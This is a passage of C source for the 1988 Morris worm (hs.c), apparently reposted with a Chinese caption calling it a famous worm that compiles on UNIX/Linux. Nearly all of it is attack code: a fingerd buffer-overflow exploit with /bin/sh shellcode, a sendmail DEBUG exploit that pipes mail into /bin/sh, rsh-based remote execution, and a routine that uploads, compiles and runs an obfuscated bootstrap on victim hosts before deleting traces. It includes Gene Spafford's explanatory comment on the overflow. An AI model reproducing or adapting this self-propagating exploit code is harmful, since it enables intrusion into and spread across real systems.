hs.c

著名的WORM病毒。 在UNIX/LINUX下可以编译成功。 注意看MAKEFILE。

	strcat(strbuf, XS("\n"));
	send_text(l8, strbuf);
	if (test_connection(l8, l8, 10) == 0) {
	    close(l8);
	    close(arg4);
	    host->flag |= 2;
	    return 1;				/* 1172 */
	}
	send_text(l8, XS("rm -f $P\n"));
    }
    
    for (i = 0; i < nobjects; i++) {	/* 1044,1122 */
	sprintf(strbuf, XS("rm -f %s $P\n"), files[i]);
	send_text(l8, strbuf);
    }
    test_connection(l8, l8, 5);
 quit:
    close(l8);
    close(l24);
    return 0;
}

/* Only called from within mail */
static compile_slave(host, s, arg16, arg20, arg24) /* x431e, <waithit+1176> */
     struct hst host;
{     
    object *obj;
    char buf[512];				/* 516 */
    char cfile[56];				/* 568 */
    int wr_len, key;				/* might be same */
    
    obj = getobjectbyname(XS("l1.c"));
    if (obj == NULL)
	return 0;				/* 1590 */
    send_text(s, XS("cd /usr/tmp\n"));
    
    key = (random() % 0x00ffffff);
    sprintf(cfile, XS("x%d.c"), key);
    sprintf(buf, XS("cat > %s <<\'EOF\'\n"), cfile);
    send_text(s, buf);
    
    xorbuf(obj->buf, obj->size);
    wr_len = write(s, obj->buf, obj->size);
    xorbuf(obj->buf, obj->size);
    
    if (wr_len != obj->size)
	return 0;
    send_text(s, XS("EOF\n"));
    
    sprintf(buf, XS("cc -o x%d x%d.c;x%d %s %d %d;rm -f x%d x%d.c\n"),
	    key, key, key,
	    inet_ntoa(a2in(arg16, arg20, arg24, key, key)->baz));
    return send_text(s, buf);
}

static send_text(fd, str)			/* 0x44c0, <waithit+1594> */
     char *str;
{
    write(fd, str, strlen(str));
}

/* Used in try_rsh_and_mail(). */
static fork_rsh(host, fdp1, fdp2, str)		/* 0x44f4, <waithit+1646> */
     char *host;
     int *fdp1, *fdp2;
     char *str;
{
    int child;					/* 4 */
    int fildes[2];				/* 12 */
    int fildes1[2];				/* 20 */
    int fd;
    
    if (pipe(fildes) < 0)
	return 0;
    if (pipe(fildes1) < 0) {
	close(fildes[0]);
	close(fildes[1]);
	return 0;
    }
    
    child = fork();
    if (child < 0) {				/* 1798 */
	close(fildes[0]);
	close(fildes[1]);
	close(fildes1[0]);
	close(fildes1[1]);
	return 0;
    }
    if (child == 0) {				/* 2118 */
	for (fd = 0; fd < 32; fd++)
	    if (fd != fildes[0] &&
		fd != fildes1[1] &&
		fd != 2)
		close(fd);
	dup2(fildes[0], 0);
	dup2(fildes[1], 1);
	if (fildes[0] > 2)
	    close(fildes[0]);
	if (fildes1[1] > 2)
	    close(fildes1[1]);
	/* 'execl()' does not return if it suceeds. */
	execl(XS("/usr/ucb/rsh"), XS("rsh"), host, str, 0);
	execl(XS("/usr/bin/rsh"), XS("rsh"), host, str, 0);
	execl(XS("/bin/rsh"), XS("rsh"), host, str, 0);
	exit(1);
    }
    close(fildes[0]);
    close(fildes1[1]);
    *fdp1 = fildes1[0];
    *fdp2 = fildes[1];
    
    if (test_connection(*fdp1, *fdp2, 30))
	return 1;				/* Sucess!!! */
    close(*fdp1);
    close(*fdp2);
    kill(child, 9);
    /* Give the child a chance to die from the signal. */
    sleep(1);
    wait3(0, WNOHANG, 0);
    return 0;
}

static test_connection(rdfd, wrfd, time)			/* x476c,<waith
it+2278> */
     int rdfd, wrfd, time;
{
    char combuf[100], numbuf[100];
    
    sprintf(numbuf, XS("%d"), random() & 0x00ffffff);
    sprintf(combuf, XS("\n/bin/echo %s\n"), numbuf);
    send_text(wrfd, combuf);
    return wait_for(rdfd, numbuf, time);
}

static wait_for(fd, str, time)			/* <waithit+2412> */
     int fd, time;
     char *str;
{
    char buf[512];
    int i, length;
    
    length = strlen(str);
    while (x488e(fd, buf, sizeof(buf), time) == 0) { /* 2532 */
	for(i = 0; buf[i]; i++) {
	    if (strncmp(str, &buf[i], length) == 0)
		return 1;
	}
    }
    return 0;
}

/* Installed as a signal handler */
justreturn(sig, code, scp)					/* 0x4872 */
     int sig, code;
     struct sigcontext *scp;
{
    alarmed = 1;
}

static x488e(fd, buf, num_chars, maxtime)
     int fd, num_chars, maxtime;
     char *buf;
{	
    
    int i, l8, readfds;
    struct timeval timeout;
    
    for (i = 0; i < num_chars; i++) {		/* 46,192 */
	readfds = 1 << fd;
	timeout.tv_usec = maxtime;
	timeout.tv_sec = 0;
	if (select(fd + 1, &readfds, 0, 0, &timeout) <= 0)
	    return 0;
	if (readfds == 0)
	    return 0;
	if (read(fd, &buf[i], 1) != 1)
	    return 0;
	if (buf[i] == '\n')
	    break;
    }
    buf[i] = '\0';
    if (i > 0 && l8 > 0)
	return 1;
    return 0;
}

/* This doesn't appear to be used anywhere??? */
static char *movstr(arg0, arg1)			/* 0x4958,<just_return+
230> */
     char *arg0, *arg1;
{
    arg1[0] = '\0';
    if (arg0 == 0)
	return 0;
    while( ! isspace(*arg0))
	arg0++;

    if (*arg0 == '\0')
        return 0;
    while(*arg0) {
	if (isspace(*arg0)) break;
	*arg1++ = *arg0++;
    }
    *arg1 = '\0';
    return arg0;
}

/* 
From Gene Spafford <[e-mail]>
What this routine does is actually kind of clever.  Keep in
mind that on a Vax the stack grows downwards.

fingerd gets its input via a call to gets, with an argument
of an automatic variable on the stack.  Since gets doesn't
have a bound on its input, it is possible to overflow the
buffer without an error message.  Normally, when that happens
you trash the return stack frame.  However, if you know
where everything is on the stack (as is the case with a
distributed binary like BSD), you can put selected values
back in the return stack frame.

This is what that routine does.  It overwrites the return frame
to point into the buffer that just got trashed.  The new code
does a chmk (change-mode-to-kernel) with the service call for
execl and an argument of "/bin/sh".  Thus, fingerd gets a
service request, forks a child process, tries to get a user name
and has its buffer trashed, does a return, exec's a shell,
and then proceeds to take input off the socket -- from the
worm on the other machine.  Since many sites never bother to
fix fingerd to run as something other than root.....

Luckily, the code doesn't work on Suns -- it just causes it
to dump core.

--spaf

*/    

/* This routine exploits a fixed 512 byte input buffer in a VAX running
 * the BSD 4.3 fingerd binary.  It send 536 bytes (plus a newline) to
 * overwrite six extra words in the stack frame, including the return
 * PC, to point into the middle of the string sent over.  The instructions
 * in the string do the direct system call version of execve("/bin/sh"). */

static try_finger(host, fd1, fd2)		/* 0x49ec,<just_return+378 */
     struct hst *host;
     int *fd1, *fd2;
{
    int i, j, l12, l16, s;
    struct sockaddr_in sin;			/* 36 */
    char unused[492];
    int l552, l556, l560, l564, l568;
    char buf[536];				/* 1084 */
    int (*save_sighand)();			/* 1088 */

    save_sighand = signal(SIGALRM, justreturn);

    for (i = 0; i < 6; i++) {			/* 416,608 */
	if (host->o48[i] == 0)
	    continue;				/* 600 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	    continue;
	bzero(&sin, sizeof(sin));
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = host->o48[i];
	sin.sin_port = IPPORT_FINGER;

	alarm(10);
	if (connect(s, &sin, sizeof(sin)) < 0) {
	    alarm(0);
	    close(s);
	    continue;
	}
	alarm(0);
	break;
    }
    if (i >= 6)
	return 0;				/* 978 */
    for(i = 0; i < 536; i++)			/* 628,654 */
	buf[i] = '\0';
    for(i = 0; i < 400; i++)
	buf[i] = 1;
    for(j = 0; j < 28; j++)
	buf[i+j] = "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"[j];		
	/* constant string x200a0 */

    /* 0xdd8f2f73,0x6800dd8f,0x2f62696e,0xd05e5add,0x00dd00dd,0x5add03d0,0x5e5cbc3b */
    /* "\335\217/sh\0\335\217/bin\320^Z\335\0\335\0\335Z\335\003\320^\\\274;\344\371\344\342\241\256\343\350\357\256\362\351"... */

    l556 = 0x7fffe9fc;				/* Rewrite part of the stack frame */
    l560 = 0x7fffe8a8;
    l564 = 0x7fffe8bc;
    l568 = 0x28000000;
    l552 = 0x0001c020;

#ifdef sun
    l556 = byte_swap(l556);			/* Reverse the word order for the */
    l560 = byte_swap(l560);			/* VAX (only Suns have to do this) */
    l564 = byte_swap(l564);
    l568 = byte_swap(l568);
    l552 = byte_swap(l552);
#endif sun

    write(s, buf, sizeof(buf));			/* sizeof == 536 */
    write(s, XS("\n"), 1);
    sleep(5);
    if (test_connection(s, s, 10)) {
	*fd1 = s;
	*fd2 = s;
	return 1;
    }
    close(s);
    return 0;
}

static byte_swap(arg)			/* 0x4c48,<just_return+982 */
     int arg;
{
    int i, j;

    i = 0;
    j = 0;
    while (j < 4) {
	i = i << 8;
	i |= (arg & 0xff);
	arg = arg >> 8;
	j++;
    }
    return i;
}

permute(ptr, num, size)			/* 0x4c9a */
     char *ptr;
     int num, size;
{
    int i, newloc;
    char buf[512];

    for (i = 0; i < num*size; i+=size) {	/* 18,158 */
	newloc = size * (random() % num);
	bcopy(ptr+i, buf, size);
	bcopy(ptr+newloc, ptr+i, size);
	bcopy(buf, ptr+newloc, size);
    }
}


/* Called from try_rsh_and_mail() */
static try_mail(host)				/* x4d3c <permute+162>*/
     struct hst *host;
{
    int i, l8, l12, l16, s;
    struct sockaddr_in sin;			/* 16 bytes */
    char l548[512];
    int (*old_handler)();
    struct sockaddr saddr;			/* Not right */
    int fd_tmp;					/* ???  part of saddr *
/
    
    if (makemagic(host, &saddr) == 0)
	return 0;				/* <permute+1054> */
    old_handler = signal(SIGALRM, justreturn);
    for( i = 0; i < 6; i++) {			/* to 430 */
	if (host->o48[i] == NULL)
	    continue;				/* to 422 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	    continue;				/* to 422 */
	
	bzero(&sin, sizeof(sin));		/* 16 */
	sin.sin_family = AF_INET;
	sin.sin_addr.s_addr = host->o48[i];
	sin.sin_port = IPPORT_SMTP;
	
	alarm(10);
	if (connect(s, &sin, sizeof(sin)) < 0) {
	    alarm(0);
	    close(s);
	    continue;				/* to 422 */
	}
	alarm(0);
	break;
    }
    
    if (i < 6)
	return 0;				/* 1054 */
    if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
    
    send_text(s, XS("debug"));		/* "debug" */
    if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
    
#define MAIL_FROM "mail from:</dev/null>\n"
#define MAIL_RCPT "rcpt to:<\"| sed \'1,/^$/d\' | /bin/sh ; exit 0\">\n"
    
    send_text(s, XS(MAIL_FROM));
    if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
    i = (random() & 0x00FFFFFF);
    
    sprintf(l548, XS(MAIL_RCPT), i, i);
    send_text(s, l548);
    if (x50bc( s, l548) != 0 || l548[0] != '2')
	goto bad;
    
    send_text(s, XS("data\n"));
    if (x50bc( s, l548) == 0 || l548[0] != '3')
	goto bad;
    
    send_text(s, XS("data\n"));
    
    compile_slave(host, s, saddr);
    
    send_text(s, XS("\n.\n"));
    
    if (x50bc( s, l548) == 0 || l548[0] != '2') {
	close(fd_tmp);				/* This isn't set yet!!! */
	goto bad;
    }
    
    send_text(s, XS("quit\n"));
    if (x50bc( s, l548) == 0 || l548[0] != '2') {
	close(fd_tmp);				/* This isn't set yet!!! */
	goto bad;
    }
    
    close(s);
    return waithit(host, saddr);
 bad:
    send_text(s, XS("quit\n"));
    x50bc(s, l548);
    close(s);
    return 0;
}

/* Used only in try_mail() above.  This fills buffer with a line of the respon
se */
static x50bc(s, buffer)				/* x50bc, <permute+1058
> */
     int s;					/* socket */
     char *buffer;
{
    /* Fill in exact code later.  It's pretty boring. */
}


/* I call this "huristic 1". It tries to breakin using the remote execution
 * service.  It is called from a subroutine of cracksome_1 with information fr
om
 * a user's .forword file.  The two name are the original username and the one
 * in the .forward file.
 */
hu1(alt_username, host, username2)		/* x5178 */
     char *alt_username, *username2;